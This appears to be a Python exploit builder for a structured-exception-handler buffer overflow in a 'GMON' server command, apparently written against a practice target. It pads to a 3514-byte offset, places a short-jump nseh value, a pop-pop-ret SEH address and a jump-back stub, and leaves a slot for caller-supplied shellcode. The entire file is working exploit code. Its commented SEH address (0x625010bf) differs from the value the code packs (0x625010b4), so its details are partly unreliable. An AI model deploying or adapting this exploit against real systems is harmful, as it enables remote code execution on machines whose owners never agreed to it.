import struct


def build_buf(shellcode: bytes = b"") -> bytes:
    """Builds buffer for GMON exploit"""
    # bad chars: \x00
    # **************
    # Buffer Layout
    # **************
    # 
    # GMON /.../
    # Overflow 3514 bytes: SEH record (nseh field) at (offset 3514)
    # nseh - 0x04750674 net jump over seh
    # seh - 0x625010bf : pop ebx # pop ebp # ret
    # jumpback
    #   push esp # pop eax # add ax # jmp eax
    # filler to 5012 bytes

    buf = b"GMON /../"
    buf += b"\xCC" * (3514-len(shellcode))
    buf += shellcode
    buf += struct.pack("<L", 0x04750674)
    buf += struct.pack("<L", 0x625010b4)
    buf += b"\x54\x58\x66\x05\x66\x05\xff\xe0"
    buf += b"C" * (5012 - len(buf))
    return buf